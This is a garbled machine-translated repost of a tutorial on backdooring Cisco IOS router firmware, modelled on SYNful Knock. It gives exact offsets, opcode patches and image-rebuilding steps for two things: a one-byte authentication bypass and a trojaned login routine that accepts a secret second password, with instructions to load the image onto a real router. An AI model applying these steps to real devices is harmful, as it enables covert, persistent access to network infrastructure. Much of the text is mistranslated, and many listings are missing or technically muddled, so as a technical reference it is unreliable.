Virustracker · 2015/11/03 division

Source: https://www.exploit-db.com/docs/38466.pdf

0 x01 is introduced


This article mainly uses Cisco IOS as a test case to explain how to modify the firmware image. Most people think that doing something like this requires some cutting-edge knowledge or resources at the national level, but in fact, this is a common misconception. I think one of the main reasons people think this way is that there is no article or tutorial that fully covers this process, nor what resources are required to write a rootkit. However, the emergence of this article has changed the status quo. This article provides some very well-developed approaches to this topic and provides a complete overview of the process, as well as the required knowledge. If readers can read the full text, they can end up writing a basic, but functional, firmware rootkit tool. Once you understand all the basic ideas and code, combined with a working model, you can easily write your own loader code and extend the functionality of the core loader with dynamic, memory-stored modules. However, this article doesn’t go that far. First, it shows how you can change a byte in the IOS image to allow any password other than the real one to log in to the router. Second, the article explains how to override function calls to call your own code, using an example of a login process Trojan that allows you to specify a secret second-level login password. Once you fully understand this article, it will take you less than a month to create a rootkit tool that is more powerful than the SYNful Knock Rootkit. Writing a similar rootkit doesn’t require national resources or millions of dollars, or a high-tech think tank. Next thing you know, Trojan firmware has been popping up on underground forums for decades.

First, let’s see what the experts have to say about SYNful Knock:

— Cybersecurity experts, including DeWalt, say that only a small number of countries with cyber intelligence capabilities could carry out sophisticated attacks against network equipment, such as routers. Countries with this capability include China, Israel, Britain, Russia and the United States. — As I write next, government eavesdropping agencies typically carry out such attacks. We know, for example, that the NSA likes to attack routers. If I had to guess, I’d guess this is an NSA exploit. — But the nature and flexibility of the tool makes it clear that this is not a bunch of hackers working underground stealing personal information and so on. Of course, this is not to say that such hackers do not have the corresponding capabilities, just that they do not like this approach. The attack is more of a national one, with the NSA and China being the two prime suspects because of their “personal information paranoia”. — In fact, given the complexity of reverse ROMmon mirrors and the difficulty of installing them without taking advantage of the 0-day vulnerability, it is more likely that the perpetrators of this attack were state – based.

According to some experts, Trojan firmware requires millions of dollars, government resources and classified government information. Such a rootkit requires at least a week of PowerPC assembly, a week of disassembly, and a week of code writing and debugging. With that said, I, like many others, can already write a 10-year version of a rootkit (although I have less than five years of experience), and we’re not the braintrust of a country or a government. In order to dispel rumors about the alleged nature of the state and superior security research knowledge, we decided to demonstrate to the scientific community how a person could create a rootkit tool using their own firmware with relative ease.

0 x02 set


HT Text editor:

apt-get install ht hexedit 
Dynamips + GDB Stub: git clone https://github.com/Groundworkstech/dynamips-gdb-mod 
Copy the code

Programmer’s Calculator:

http://pcalc.sourceforge.net/ 
Binutils / Essentials: apt-get install gcc gdb build-essential binutils \ binutils-powerpc-linux-gnu binutils-multiarch 
Copy the code

Other dependencies:

apt-get install libpcap-dev uml-utilities libelf-dev libelf1 
QEMU: apt-get install qemu qemu-common qemuctl qemu-system \qemu-system-mips qemu-system-misc qemu-system-ppc qemu-system-x86 
Copy the code

Debian PowerPC image:

wget https://people.debian.org/~aurel32/qemu/powerpc/debian_wheezy_powerpc_standard.qcow2 
Copy the code

QEME also requires the following additional Settings:

# cd /usr/share/qemu/ # mkdir .. /openbios/ # mkdir .. /slof/ # mkdir .. /openhackware/ # cd .. /openbios/ # wget https://github.com/qemu/qemu/raw/master/pc-bios/openbios-ppc # wget https://github.com/qemu/qemu/raw/master/pc-bios/openbios-sparc32 # wget https://github.com/qemu/qemu/raw/master/pc-bios/openbios-sparc64 # cd .. /openhackware/ # wget https://github.com/qemu/qemu/raw/master/pc-bios/ppc_rom.bin # cd .. /slof/ # wget https://github.com/qemu/qemu/raw/master/pc-bios/slof.bin # wget https://github.com/qemu/qemu/raw/master/pc-bios/spapr-rtas.binCopy the code

The QEME client should be set up as follows:

qemu-host# qemu-system-ppc -m 768 -hda debian_wheezy_powerpc_standard.qcow2
qemu-guest# apt-get update
qemu-guest# apt-get install openssh-server gcc gdb build-essential binutils-multiarch binutils qemu-guest# vi /etc/ssh/sshd_config
qemu-guest# GatewayPorts yes
qemu-guest# /etc/init.d/ssh restart
qemu-guest# ssh -R 22222:localhost:22 <you>@<qemu-host>
Copy the code

SSH your development device to port 22222 and log in to the QEMU client as root. This makes it easier to edit files, copy and paste them, because you don’t need to switch to the QEMU window.

Dynamips + GDB Stub needs to be compiled. The next step also needs to be done on the AMD64 machine: change the configuration to meet the requirements of the development device.

# git clone https://github.com/Groundworkstech/dynamips-gdb-mod Cloning into 'dynamips-gdb-mod'... remote: Counting objects: 290, done. remote: Total 290 (delta 0), reused 0 (delta 0), pack-reused 290 Receiving objects: 100% (290/290) and 631.30 KiB | 0 bytes/s, done. Resolving deltas: 100% (73/73), done. Checking connectivity... done. # cd dynamips-gdb-mod/src # DYNAMIPS_ARCH=amd64 make Linking rom2c cc: error: /usr/lib/libelf.a: No such file or directory make: *** [rom2c] Error 1 # updatedb # locate libelf.a /usr/lib/x86_64-linux-gnu/libelf.a # cat Makefile |grep "/usr/lib/libelf.a" LIBS=-L/usr/lib -L. -ldl /usr/lib/libelf.a $(PTHREAD_LIBS) LIBS=-L. -ldl /usr/lib/libelf.a -lpthread  # cat Makefile | sed -e 's#/usr/lib/libelf.a#/usr/lib/x86_64-linux-gnu/libelf.a#g' >Makefile.1 # mv Makefile Makefile.bak # mv Makefile.1 Makefile # DYNAMIPS_ARCH=amd64 makeCopy the code

Next, we need to use a simple script to compute the checksum of the binaries, because we will use these binaries later. Save the checksum to the chksum.pl file and put it in the development directory. Convert this file to an executable file by chmod +x.

#! perl #! /usr/bin/perl sub checksum { my $file = $_[0]; open(F, "< $file") or die "Unable to open $file "; print "\n[!]  Calculating the checksum for file $file\n\n"; binmode(F); my $len = (stat($file))[7]; my $words = $len / 4; print "[*] Bytes: \t$len\n"; print "[*] Words: \t$words\n"; printf "[*] Hex: \t0x%08lx\n",$len; my $cs = 0; my ($rsize, $buff, @wordbuf); for(; $words; $words -= $rsize) { $rsize = $words < 16384 ? $words : 16384; read F, $buff, 4*$rsize or die "Can't read file $file : $! \n"; @wordbuf = unpack "N*",$buff; foreach (@wordbuf) { $cs += $_; $cs = ($cs + 1) % (0x10000 * 0x10000) if $cs > 0xffffffff; } } printf "[*] Checksum: \t0x%lx\n\n",$cs; return (sprintf("%lx", $cs)); close(F); } if ($#ARGV + 1 ! = 1) { print "\nUsage: ./chksum.pl <file>\n\n"; exit; } checksum($ARGV[0]);Copy the code

Several other resources are also required, but we can’t link to them in the article. However, you should be able to find these resources and not have any setup problems. Next, you need to install these resources on a virtual machine for development, and then create a Windows7 client. Once you’re done setting up, log in to your Windows VM and install “IDA Pro 6.6 + Hex-Rays Decompiler” or any other version — make sure you’re installing the full version that supports architectures other than x86/ X64, Because we primarily use PowerPC assembly language. Please do not crack IDA software, IDA is a very easy to use program, worth our purchase.

Finally, you’ll need an IOS image. The image we used came from the Cisco 2600 we purchased and was named “C2600-bino3s3-mz.123-22.bin”. We strongly recommend that you log in to your Cisco account and download this image – using the same image ensures that you do exactly what we want you to do, and that the offset, checksum, length, and so on are consistent. It is well known that some of the so-called “learns-only” IOS images downloaded in some communities, as well as IOS images with more features, are actually loaded with Trojans. In addition to hashing, we recommend that you use FX’s ‘Cisco Incident Response’ to verify your IOS images.

For our development device, the prompt is “[[email protected]]# “; QEMU request, prompt is “[[email protected]]#

0 x03 development


To decompress the IOS image, use the following command: -c2600-bino3s3-mz.123-22.bin

[ [email protected] ]# unzip c2600-bino3s3-mz.123-22.bin
Archive: c2600-bino3s3-mz.123-22.bin
warning [c2600-bino3s3-mz.123-22.bin]: 16876 extra bytes at beginning or within zipfile
(attempting to process anyway) 
inflating: C2600-BI.BIN
Copy the code

= = = = = = = = = = = = = = = = = = = = = = = = = = =

= IOS BIN structure =

[ELF header] [SFX] [0xFeedFace] [Uncompressed image size] [Compressed image size] [Compressed image checksum] [Uncompressed image checksum]

[the PKzip data]

There are a few important points about the IOS BIN structure. First, it’s basically a ZIP file with a few headers; Almost all decompression programs can figure out where zip data starts and unzip it. It starts with a header that describes the binary, which you don’t need to worry about except for machine variables. Next comes a self-extracting executable that you don’t need to know much about except size variables; Then there’s zip data. Finally, after decompression, you must modify the E_MACHINE tag of the ELF header before you can load the file into IDA. You can do this by unpacking c2600-bino3s3-mz.123-22.bin, leaving you with c2600-bi.bin. Copy this file from C2600-bi.bin to c2600-bi.bin.ida, then open the file in HT/HTE (HT /path/to/ C2600-bi.bin.ida) and click OK in the dialog box:

Then, press F6, select the EF header in the model, scroll down to the Machine project – SPARC V9 64-bit will appear above – press F4 to edit, type 0014, now press F2 to save, and press F10 to exit. Now you can load BIN into IDA. * Note: on some virtual machines, HT is HTE, and you want a hexadecimal editor, not text processing – anyway, in this article we will use HT for binary, but on your machine the name will probably be HTE.

Bin c2600-bino3s3-mz.123-22.bin, c2600-bi.bin. IDA and d c2600-bi. bin. Then press F7 to search. Switch down to hexadecimal and type “fe Ed FA CE”, then press Enter, and the magic value recognizes various bits of information, such as size and checksum.

In addition to “fe Ed FA CE”, there are several other important values that you must know how to calculate and manipulate if you want to rebuild a full IOS compressed image:

02 65 E2 8C: uncompressed image size 00 EB 1e BB: compressed image size Ed A0 3a 8b: compressed image checksum 7C 5c C4 27: uncompressed image checksum

Once you have located these values, you exit by pressing F10 in HT. Following these values, you can find the magic value “PK” used to identify PKZipped header data. These values and their locations are important and will play a role in the future. It is also important to understand how these values are computed. First, we need to find the length of compressed and uncompressed images.

Go to the value we see from the byte following the magic value 0xfeedface:

[ [email protected]] # x0265e28c pcalc 0 # 02 65 e2 8 c: uncompressed image size 40231564 0 x265e28c 0 y10011001011110001010001100 [[email protected]] # x00eb1ebb pcalc 0 # 00 eb e bb: compressed image size 15408827 0 xeb1ebb 0 y111010110001111010111011 [[email protected]]# pcalc 15408827 - 15425704 ; Header size minus the output size of 'ls' -16877 0xFFffffffffbe13Copy the code

Remember the decompression warning:

Warning: [C2600-bino3s3-mz.123-22.bin]: 16876 extra bytes in the beginning or zip fileCopy the code

We need to find the checksum of compressed and uncompressed images

[!] Calculate the checksum of file C2600-bi.bin

To get the checksum, or ZIP data, of the compressed file, subtract DD from the header, remembering that the “extra” data is 16,876 bytes.

[!] Compute the checksum of file c2600-bino3s3-mz.123-22.bin.no_header

Since we need this value later to rebuild the IOS binary, we need a copy of the header. This value should be 16876 minus the 16 bytes required for each of the four values, the compressed image size, the uncompressed image size, the compressed image checksum, and the uncompressed image checksum.

So far: C2600-bino3s3-mz.123-22. bin = c2600-bi. Bin = c2600-bi. Bin = c2600-bi. And the c2600-bino3s3-Mz.123-22.bin.no_header file stripped of the header. We also know the location of the magic value 0xfeedface, how to calculate hexadecimal values, and where to put them, manually if necessary. Finally, to load BIN into IDA, we must change the E_machine Elf header value from 002D (SPARC) to 0014 (PowerPC).

IDA, modify the ELF E_MACHINE header of the C2600-bi.bin. IDA file, and place the file in IDA on the Windows VIRTUAL machine. Of course, you can also rezip the file and get a new C2600-bi.bin – just make sure you get the file that has the E_machine flag set to 0014. Open IDA (32-bit), select New, set your processor to PowerPC bif-endian [PPC], and wait until IDA finishes loading.

During IDA file loading, if you try to log on to a Cisco device remotely, you will be prompted for a “password.” If you type it wrong several times, you will see the error message “%% Bad Passwords \n.” This is where the basics of disassembly come in. We’re going to look up some strings, find the suo ‘Yo subroutine of XREF (cross-reference), and look at that function.

After IDA has finished loading, click on IDA-view-a TAB, then click anywhere in the window and press ‘G’ (or use text search). Once we have determined what to do in the dialog box, open the type aBadPasswords and click “OK.” You should see something like this:

If you can’t find the image, you can try text search by pressing ‘g’ in IDA, or because IDA hasn’t finished analyzing binary. If you look at the lower left corner, the numbers here shouldn’t jump. Wait until the numbers stop beating, and IDA will prompt you to change your browsing mode – that means IDA is done analyzing.

In the read-only data section of the executable, we found the string “Password” : followed by just.rodata: 81a414F8, where we found the “%% Bad Passwords \n “string we were looking for. Double click on the XREF word, select find “Password” string, and you’ll be taken here:

Before we continue, let’s review some of the basics of PowerPC assembly language. If you know a little bit about assembly language, you should have a general idea of what it means. Just remember the following points:

The PowerPC instructions OP rX, rY, rZ, for example, if OP is ADD, then ADD, then: rX=rY + rZ, if OP is SUB, then: rX=rY — rZ.

Most instructions operate from right to left, and can range from 2 to 4 registers depending on your assembler and debugger. For example, a contrast instruction can be written as CMP crfD, L, rA, rB, which is CMP CR7, 0, R3, R4 or CMP R3, R4. There are many online tutorials for PowerPC assembly language on the web.

Almost all instructions operate from right to left, except for storage operations, which operate from left to right. For example, to store a word (32b) of some data in register R3 on the stack:

stw %r3, 0x0(%sp)
Copy the code

Some basics about PowerPC assembly: there are 32 registers in total, R0-R32, with a few special ones. The connection register contains the address of the subsequent instruction, so that when the called function is done, the function knows where to return the execution. For example, if you have a branch and link bl _my_function, which acts like RET on x86, BL _my_function extracts the starting address of the BL _MY_function instruction, increments it by 4, and stores the result in the connect register. Then JMP to _my_function. In _my_function, bl _my_function will call MFLR %rX- to move from the connect register to register rX and save,… Run the whole _my_function, and finally call MTLR %rX- move to the connect register, then call a BLR – branch on the connect register. This extracts the saved connection register address from %rX, and then invokes the branch on the connection register – that is, sets the program counter to the address stored in the connection register.

bl _my_function

cmp %r3, 0

STW %rX, memY: All STW * operation code is used to store data and is executed from left to right. LWZ % R4, -0xC (%sp) : All LW * operation code is for loading data and is executed from right to left. %r1 and %sp are the same thing; Basically, R1 is a bogus stack pointer. The return value of a function is usually placed in R3, and R3 is often used as the first argument to a function, followed by R4, R5, r6…

You can set conditional registers on most operation codes by attaching a term; Such as:

0000 xor. %r4, %r4, %r4 # r4 = 0, and set a conditional register 0001 bnel _strcmp # But save the LR-branch for not correct 0002 MFLR %r4 # Move * this * address (0002) to r4 0004 addi %r4, %r4, 8 # (# line from MFLR)*4; R4 now points to the string is 0005. The ASCII "Iminlovewithamaliciousintent" is 0006. Long 0 x0Copy the code

Again, there are many online tutorials on PowerPC assembly. For now, all you need is a rough idea of what we’re doing. Whenever a function is called using b*1, the ending 1 refers to setting the connection register to the value of the next instruction after the instruction is called. Then, using the branch on the BLR – join register in the function, return to use the join register, also by telling the function where to set the program counter. MFLR – Remove the connection register – whenever you want to save the connection register, you can call MFLR %rX and the function will save the connection register to rX. MTLR – Move to the connection register, you can set MTLR, then call BLR and jump to this address, either relative or absolute. Mr – Moves registers, also operating from right to left. Since all instructions are 4 bytes or 1 word, you need two instructions to load a 32-bit value into a word on the PowerPC. There are many ways to do this, but the most common is:

Now, r4=0x80008000. Most operation code will use a W for word, b for byte, Z for zero fill, I for immediate, or some combination. That’s enough to understand what’s going on.

Go back to IDA and double-click DATA XREF: sub_803BD4C0+38 to start looking at the function on loc_803bd4F4; The function loads a 0 into R30, and then the upper case bytes of the “Password:” string into R27. On loc_803bd4fc below, the lowercase bytes are stored in R6, so we can assume that the next function to be called will display the string. If this were a login function, we would get out of it in just two steps: when R3 equals 0, beq loc_803bd540 would enter the other part, get some value passed to the function (addI R3, R1, 0x70+ VAR_68), and then extract the other two R4s and R5. We’re going to take a closer look at this function, which starts with addI R3, R1, 0x70+ VAR_68. Next, we jump out of the function call BL sub_80385070 when the returned R3 is not equal to 0.

To convert the address from IDA to objdump, first process the file with objdump and find where the code starts:

In this binary, the code starts at 0x60, takes that address, subtracts the base address of 0x80008000, and adds 0x60, and you have your objdump address. The thing to remember is where this 0x60 came from, because we’re going to be using this address a lot.

To reverse the address from objdump back to IDA, add the objdump address to the base address 0x80008000 and subtract 0x60:

If you want to use Objdump to find a location or address, just remember the small write information in objdump output and the uppercase information in IDA, and then you can use Objdump to find the address (in a few sentence bytes at most) :

Now open PowerPC QEMU, run our PowerPC-based Debian image in one window, run Dynamips with GDB stub in another window, and remotely debug the Dynamips IOS instance via GDB in QEMU.

In Dynamips, we will start the GDB stub on port 6666 and set up a TAP 1 interface so that we can communicate with the virtual router over the virtual network.

[ [email protected] ]# tunctl -t tap1
[ [email protected] ]# ifconfig tap1 up
[ [email protected]]# tap1 192.168.9.1/24 [[email protected]]# ./dynamips-gdb-mod/dynamips -Z 6666 -j -P 2600 -t 2621 -s 0:0:tap:tap1 -s 0:1:linux_eth:eth0 /path/to/C2600-BI.BIN Cisco Router Simulation Platform (Version 0.2.8- RC2-AMD64) Copyright (C) 2005-2007 Christophe Fillot.Build Date: Cisco Router Simulation Platform (Version 0.2.8- RC2-AMD64) Copyright (C) 2005-2007 Christophe Fillot.Build date: Sep 21 2015 00:35:24 IOS image file: /path/to/C2600-BI.BIN ILT: loaded table "mips64j" from cache. ILT: loaded table "mips64e" from cache. ILT: loaded table "ppc32j" from cache. ILT: loaded table "ppc32e" from cache. C2600 instance 'default' (id 0): VM Status : 0 RAM size : 64 Mb NVRAM size : 128 Kb IOS image : /path/to/C2600-BI.BIN Loading BAT registers Loading ELF file '/path/to/C2600-BI.BIN'... ELF entry point: 0x80008000 C2600 'default': starting simulation (CPU0 IA=0xfff00100), JIT disabled. GDB Server listening on port 6666.Copy the code

Open another terminal window and run QEMU:

[ [email protected] ]# qemu-system-ppc -m 768 -hda debian_wheezy_powerpc_standard.qcow2
Copy the code

Once started, log in as root: root and perform the SSH port forwarding mentioned earlier, because it makes it easier to communicate with the virtual machine. As soon as you are logged in (either way), open GDB and connect to Dynamips instance (X.X.X.X is the IP address where Dynamips is running) :

[[email protected] ] # gdb -q
(gdb) target remote X.X.X.X:6666 
Remote debugging using X.X.X.X:6666 
0xfff00100 in ?? ()
(gdb)
Copy the code

At this point Dynamips is running IOS, there is a debug stub on port 6666, and we are connected to the PowerPC Debian virtual machine. Next, start at what we think is the start of the function, which is the highlighted line addI R3, R1, 0x70+ VAR_68 in IDA- view A, and then look at the address in the hexadecimal view, in this case 0x803bd528, in GDB, And verify that you are on the same port.

Compare instructions and addresses in IDA:

Instructions and addresses found in GDB:

The code looks different in different debugging tools, no matter what version you’re using, just get used to it. It looks like they are in the same location, so you need to: 1. Set an IP address on the interface, and set a password on the VTY line 2. Save the router configuration 3. Make sure you can ping to the router from the virtual machine used for development 4. Set a breakpoint at 0x803bd534 in BL 0x81B68928 so that we can see r3, R4 and R5

From the GDB instance, set a breakpoint at the location of the b *0x803bd534 command and type ‘C’ or ‘continue’ so that the router instance in Dynamips can continue to start. Then switch back to the Dynamips window and enter the basic configuration as soon as the router is started.

Now, from your host, try Telnet to the router. If you follow the instructions and use the same IOS image all the time, when you enter the router password and press Enter, the window freezes and you encounter a breakpoint in the GDB window. * Note: Your register address is generally different from what you see here.

At the breakpoint, we can observe the registers that are used as arguments to the call function, the first being R3, the second r4, the third R5, and so on. In R3 there is the password we entered, and in R4 there is the real password and login function we are looking for. Then, on R3 there is a comparison operation:

If the values do not match (” branch not equal “), the function advances to 0x803bd4ec. Set a breakpoint on the branch instruction and observe R3:

Since we entered an incorrect password and r3 has a value of 0, we now know that this value must be unequal for the login to succeed. Press ‘C’ in GDB, then return to the Telnet window, this time enter the correct password, press Enter, and return to the GDB window.

Now, we’ve logged in successfully. For trojans, it is possible to simply get the other parts to see if the password is correct, rather than checking for “branching equal”. We changed this condition to “branching equal”, so that any password other than the correct one will work. Now the same as one-byte login bypass. Press CTRL + C, ‘q’, ‘y ‘to exit GDB.

We want to find the objdump directive (BNE) so that we can edit the directive with HT and change its comparison tests. Go back to IDA, move the mouse over bNE loc_803bd4EC, and look in the hexadecimal view. Copy the entire line:

803BD53C 40 82 FF B0 80 1F 01 50 70 09 02 00 40 82 00 1C
Copy the code

Subtract the Cisco base address 0x80008000 from the address position offset of 0x803BD53C, plus the starting position offset of the code in the 0x60 objdump output.

[ [email protected] ]# pcalc 0x803BD53C - 0x80008000 + 0x60     

3888540 0x3b559c 0y1110110101010110011100
Copy the code

The location we want to change is the address 0x3B559c in the binary. First, we had to find the operation code and just write a simple assembler on the QEMU virtual machine. To better understand the operation code we are looking for:

The first six bytes are our operation code. So, we need to write a pair of simple assembler programs, one using the BNE instruction (branches are not equal) and the other using the BEQ instruction (when branches are equal).

The operation code is the first six bits -0100 00 or 0x40. Now, we’ll use the same method to find the operation code for beq:

Here, we can see that the BNE operation code (branches are not equal) is 0x40 and the BEP operation code (when branches are equal) is 0x41. We know that the position of the BNE instruction is 0x3b559c, open c2600-bi. BIN in HT and change 0x40 to 0x41.

[ [email protected] ]# ht C2600-BI.BIN
Copy the code

Press F5 and enter 0x3b559c

Be sure to hover the mouse pointer over 40, press F4 to edit, change 40 to 41, F2 to save, then F10 to exit. Now load the file back into Dynamips, connect to the file via GDB, and verify that the changes have taken effect.

We can see that the instruction on address 0x803bd53c has indeed been changed from BNE 0x803bd4EC to BEQ 0x803bd4ec, which means that any password other than the real one can access the router. Press ‘C’ again and allow the router to continue booting. Once booted up, you can use any password to log in to the router. To prove this, I’ve written a simple Expect script so that you can see on the screen what passwords the router is receiving.

Then, using this script we can connect to the router. I did this just so I could see the password that was sent to and received by the router, because nothing would be displayed on the screen without using this script. Another point is that while using this script, the real password will work, but you won’t be able to log in using Telnet. The reason is that the script will send extra characters as a new line break, which will be received as a password, and you can see that the first attempt failed, and then the second attempt was received.

At this point, we’ve successfully changed the IOS binary for the first time to allow us to log in to the VTY line using any password, except the real one, of course. Although we have well demonstrated that it is possible to modify ISO binaries, we are far from being able to do so in a real-world environment. Now we’re going to write something practical, and here’s the plan:

We’ll find a place in the.rodata area big enough to store our assembly code, we’ll overwrite the string there with our own compiled code, and then change the area where we put binary changes to be executable. Next, we’ll replace the password checker with our own function that performs a simple string comparison of the static passwords we compiled in assembler, and returns a success if the comparison is a match; If not, fix all the arguments of the real function, and then call the real function.

Save the Trojan version of c2600-bi.BIN to a different name, unzip c2600-bino3s3-mz.123-22. BIN again to get fresh C2600-bi. We will modify this file next (* make sure to use the latest c2600-bi.bin) :

When we have done something, 0x803BD534 reads BL < our function address >‖, and if the password entered is not the same as the rootkit password, then it needs to be sent to read password check, So we have to manually call — b 0x80385070‖ (always branch) in our function. Go back to IDA, go to View -> Open Subview -> Strings, click Length, and the first thing we see is the longest one. Rodata: a character string in 81B688E0. The length is 0x305- Point-to-point copyright. After the first phase – the code starting at 0x81B688E0, but our code will start at 0x81B68928, we’ll start the code on the “All” word.

How do we get the address to jump to? We need two, one is the branch address of our string/code at 0x81B68928 to replace the password check function call. The other comes from within our function, the branch address of the real password checker, which is called if the password doesn’t match the rootkit password and needs to be sent to the real password checker. In short, the action code for the base branch is 48 00 00 00, so let’s compile the first one first and see where the action code puts us in this section.

The operation code field is the first 6 bits, 0-5 bits; The next four bits are addresses, 6-29 bits; AA bit 30 determines whether the address is absolute or relative, while LK Bit 31 determines whether the operation has a connection register set.

Open c2600-bi.bin with HT, press F5, go to 0x3b5594 (two instructions back from 0x3b559c) and replace 4B FC 7b 3D with 48 00 00 00 00, save and start in Dynamips, then connect via GDB and see what address is here.

We find that testing the base branch using our operation code 48 00 00 00 gets us instruction B 0x803bd534, but we need to set up the connection register, and as explained above, all of this will end up setting the last bit to 0x1 instead of 0x0, so, In order to get bl 0x803bd534, we must set the operation code to be 48 00 00 01.

We’ve decided to start our code at 0x81b68928, which is the starting address of the ALL word on the peer-to-peer copyright string. Our base branch instruction will put us at 0x803bd534, and we have to get to 0x81B68928. So, we need to figure out the difference and add it to our base branch operation.

The result is that bit 31 is not set, but we need to set this bit, so we have to set the last bit from 0x0 to 0x1 again to get the hexadecimal value 0x497ab3f5, so our operation code branches to the start of our code: — 497ab3f5. Our operation code 0x497AB3f5 jumps from 0x803bd534 to our string address 0x81b68928. Open c2600-bi.bin in HT again, press F5 and type address 0x3b5594, set bytes to 49 7a b3 F5, save and load into GDB.

Next up is our string comparison function. I try to explain it as simply as possible, without any tricks or counters, so everyone can understand it. We will assemble and concatenate the function, and then place bytes starting at 0x81b68928 on the function.

This stuff I wrote can be used for local testing. But we want to infect the login function in the real world, so we need to start all over again, all the way to the final rootkit password, and finally, 00 00 00 00 00 after rkPass. We need to assemble and concatenate this thing I wrote, and then use objdump to dump the bytes we need and replace them with our bytes.

After seeing address B 0x00000000, we decided to figure out what was going on here. First, specify where the “All” word on the point-to-point string corresponds to in objdump using the same method as before: subtract the base address of 0x8000800 from the location address of string 0x81b68928, plus the starting position offset of the code in objdump 0x60.

First compile and connect the rootKit.s code, then dump the bytes we need into a patch file.

If you execute an objdump -d rootkit on the compiled and joined files, you will find that we need bytes in the output starting at offset 10000054 and ending at 100000e0. We then take the bytes and send them to our patch file. Then, on the Debian PowerPC, SCP your rootkit.patch file to your main development VM.

From our previous calculations, we know that rootKit.patch must be written to the C2600-bi.bin file at offset 0x1B60988. To do this, we wrote a simple Python script to do this. The rootKit. patch and c2600-bi. BIN files must be in the same directory, and your file name must be the same as ours.

Use HT again to open the newly patched C2600-bi. BIN file, press F5 and enter address 0x1b60988 to verify that the patch has been applied correctly.

Next, launch the file in Dynamips and connect through GDB, check the bytes and verify that our code is already there.

* Note that we have not provided the full display here.

The last thing to do for this patch is to fix the fake location branch -B 0x00000000 in the assembly code, which branches to the real password checking function we placed earlier, which should be B 0x80385070. Now, the branch is at 0x81B689A0, and we want this branch to be at 0x80385070.

Open c2600-bi.bin again with HT, go to address 0x1b60a00, and replace byte 48 00 00 00 00 with the new branch operation code and address that we calculated. But it’s a little easier to say:

Find the negative branch address:

<lower address> - <higher address> gets the last 26 bits in the result, preceded by 0Y010010Copy the code

Find the positive branch address:

<higher Address > - <lower Address > gets the result and adds 0x48000001Copy the code

The last thing we need to do is make this part of our string executable. We know from IDA that this part of the data is read-only. Open in HT, press F6, select ELF/Header, scroll down to Machine, set type from SPARC 002B to PowerPC 0014, and save. Then use objdump to make this part executable.

PowerPC 0014, and save it. Then use objcopy to set the section executable. 
[ [email protected] ]# objcopy -F elf32-powerpc --set-section-flags .rodata=alloc,code C2600-BI.BIN C2600-BI.BIN.ROEXEC
Copy the code

Open C2600-bi.bin. ROEXEC in HT, set machine type from PowerPC 0014 back to SPARC 002B, start in Dynamips, connect through GDB; And then continue. First try to log in with your regular password, then log in with the new backdoor password we set up rootKit. If you have problems logging in, go back and check each step. Follow these steps to check for faults.

  1. Did you start a new C2600-bi.bin after modifying the bytes?
  2. Are all the branch addresses correct?
  3. Is all the branch code, including the connection register, placed where it needs to be and checked to see if it is in the wrong place? 4. Start IOS in Dynamips, use GBD connection, and check the commands x/ I 0x803BD53C, X/I 0x803Bd534, x/ 35I 0x81B68928 before continuing.
  4. Set some breakpoints on b * 0x81B6899c, B * 0x81B689A0, B * 0x803BD538, B * 0x803BD534, at the last breakpoint check x/s R3, x/s R4 strings, Make sure that the password you enter and the password the router expects is specified by these registers.

Now that our Rootkit runs in Dynamips, it’s time to recreate the IOS binary and upload our Rootkit to a real router to test it out. First, we have to compress c2600-bi.bin.roexec. I found the best way to do this is not to use a zip program, which might add the wrong bytes, but to use a simple Python script like this:

Next we must calculate the uncompressed and compressed image sizes and generate a checksum for the image.

[ [email protected] ]# ./chksum.pl C2600-BI.BIN.ROEXEC.zip
Copy the code

[!] Compute the checksum of the file C2600-bi.bin.roexec.zip

[!] Compute the checksum of file C2600-bi.bin.roexec

We’ll put the following values in the header after the magic number 0xfeedface:

0265e288 uncompressed image size 00ea53de compressed image size 4d955cec compressed image checksum c4e7e7c0 uncompressed image checksum

Next is the CAT image header, then the 4-byte binary print, and finally the CAT ZIP file.

One last thing we need to change is the size in the SFX header before we upload our IOS Trojan image to a real router and start it up.

Zip size plus 20 to cover 0xFeedFace, mirror size, uncompressed mirror size, mirror checksum, and uncompressed mirror checksum.

Open in HT, press F5, and go to offset 0x108, enter our newly calculated size of 00 EA 53, press F2, save, and exit HT.

[ [email protected] ]# mv trojan.bin c2600-trojan-mz.123-22.bin
Copy the code

Now upload the Rootkit to a real router and reload it:

If there is an “unknown” in any of the above memory requirements, you may be using an unsupported configuration or have a software problem and the system is corrupted.

0 x04 conclusion


Now, as you can see, we can log in using the admin password or our backdoor password. Although basic, this article shows all the necessary components that are indispensable when developing more advanced functionality. Others also demonstrated in addition some of the techniques are needed to do something else, such as using a string reference to identify the advanced features needed to function, to create a binding have permission shell, create a new permissions VTY/TTY, add or remove VTY password requirements, create a permissions reverse shell, and more. Just spend some time, read the articles and online tutorials, and apply them using the basics you’ve learned here. We hope that the IOS binary modification techniques shown in this article are less complex than other firmware modifications. Now it’s time to digest these conclusions and understand the functions through tracing, debugging, and string references. There is no magic involved, no need for a state source of code, and no top-secret technology involved. Modifying the firmware binaries of a Cisco device requires only basic coding knowledge, a knowledge of assembly language relative to the target architecture, and a general understanding of disassembly, plus time and interest.